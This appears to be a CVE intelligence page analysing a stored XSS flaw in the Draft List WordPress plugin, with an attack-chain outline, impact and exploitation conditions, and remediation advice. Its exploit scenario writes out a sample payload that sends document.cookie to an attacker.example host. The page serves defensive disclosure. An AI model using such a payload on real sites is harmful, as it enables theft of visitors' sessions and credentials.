Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAcquire WordPress Contributor account
-
DeliveryCraft draft post title with attribute-breaking payload
-
ExploitSubmit draft (stored server-side)
-
InstallVictim loads public page with Draft List widget
-
C2Plugin renders raw title into HTML attribute without escaping
-
ExecuteJavaScript executes in victim browser
-
ImpactSession cookie or credential exfiltration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) the attacker holds at minimum a WordPress Contributor account on the target site - the CVSS PR:L confirms authenticated access is required and anonymous exploitation is not possible; (2) a site administrator must have configured the Draft List widget or [drafts] shortcode with a custom template option that places the {{draft}} placeholder inside an HTML attribute (this is a non-default, operator-defined configuration - sites using only default or text-node templates are not vulnerable); (3) a victim must actively visit the public page hosting the widget or shortcode (CVSS UI:R). Exploitation is bounded by the intersection of these three requirements: sites with no Contributor-level users, or those using only default templates, are not affected regardless of plugin version. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L) accurately captures the network delivery and scope change to the victim browser. The PR:L requirement is a meaningful real-world constraint: exploitation depends on holding at least Contributor access to the target WordPress site, which is not an anonymous or mass-exploitation primitive. Multi-author sites - particularly those accepting guest bloggers or user registrations - are the realistic attack surface. The triggering condition ({{draft}} placed inside an HTML attribute in the configured template) is non-default and operator-controlled, further narrowing exposed instances. No EPSS data was supplied; absent KEV listing and without known POC code, there is no signal of active exploitation, making this a site-specific risk rather than a broad campaign target. The C:L/I:L impact reflects realistic session hijacking or credential-phishing scope rather than full site compromise. Overall priority is moderate for multi-author WordPress deployments using Draft List with attribute-context templates, and low for single-author or default-template deployments. |
| Exploit ScenarioDerived | A malicious Contributor creates a WordPress draft post with a title such as "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script> - a payload containing a double-quote to close an HTML attribute. When the site's Draft List widget or [drafts] shortcode renders this title via a template with {{draft}} inside an attribute context (e.g., href or title), the raw title is inserted without escaping. Any visitor whose browser loads the public page containing the widget receives and executes the attacker's JavaScript, potentially exposing session cookies or enabling further account compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Stored XSS in the Draft List WordPress plugin (versions ≤2.6.3) allows a Contributor-level authenticated user to inject persistent JavaScript into public-facing pages by exploiting a sanitization ordering flaw in the [drafts] shortcode and widget template engine. The plugin sanitizes the template string before substituting the {{draft}} placeholder with the raw post_title, meaning a crafted title containing a double-quote can break out of an HTML attribute context and execute arbitrary JavaScript in the browsers of visitors who load the affected page. Version 2.6.4 resolves the issue; no public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Update the Draft List plugin to version 2.6.4, available at https://github.com/dartiss/draft-list/releases/tag/2.6.4; this release patches the sanitization ordering flaw confirmed by the vendor advisory at https://github.com/dartiss/draft-list/security/advisories/GHSA-xxx9-hfqp-f83f. If immediate upgrade is not feasible, audit all active [drafts] shortcode configurations and Draft List widget instances to verify that no custom template places the {{draft}} placeholder inside an HTML attribute (e.g., as href, title, or data-* values); moving the placeholder to text node context removes the injection vector without disabling the plugin. Additionally, reviewing and restricting who holds Contributor (or higher) roles on the site reduces the attacker pool in the interim. Note that restricting Contributor roles has broader access implications and should be evaluated against site editorial workflow needs.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Draft List plugin (CPE: cpe:2.3:a:dartiss:draft-list) by dartiss provides a WordPress shortcode [drafts] and a sidebar widget that render lists of unpublished content using a configurable template string supporting a {{draft}} placeholder. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the plugin sanitizes the template for XSS before performing the {{draft}} → post_title string substitution, not after. This ordering means any XSS-relevant characters (notably double-quotes) in a post title bypass sanitization entirely. When a site administrator configures a template that places {{draft}} inside an HTML attribute - for example as a href or title value - a Contributor who lacks edit_posts capability can craft a draft title that closes the attribute, injects an event handler, and achieves stored XSS execution against site visitors.
Know when Draft List gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
AC:H reflects the non-default operator-configured template condition required for exploitation; A:N applies as XSS carries no direct availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Draft List is a WordPress plugin to manage and promote unpublished content. Versions 2.6.3 and below are vulnerable to stored Cross-Site Scripting (XSS) in the [drafts] shortcode and Draft List widget when the documented custom template option places the {{draft}} placeholder inside an HTML attribute. The vulnerable code inserts the raw draft post_title into {{draft}} when the current viewer cannot edit posts. Because the template is sanitized before {{draft}} replacement, a Contributor can store a quote-only title payload that breaks out of an attribute in a site-configured Draft List template and executes JavaScript for visitors who load the public page. Version 2.6.4 fixes the issue.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Draft List
View allStored Cross-Site Scripting in the Draft List WordPress plugin (versions up to and including 2.6.3) allows authenticated
The Simple Draft List WordPress plugin for Dartiss contains a Stored Cross-Site Scripting vulnerability in versions up t
EUVD-2026-57514
GHSA-7f2v-x3jw-5w6g
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB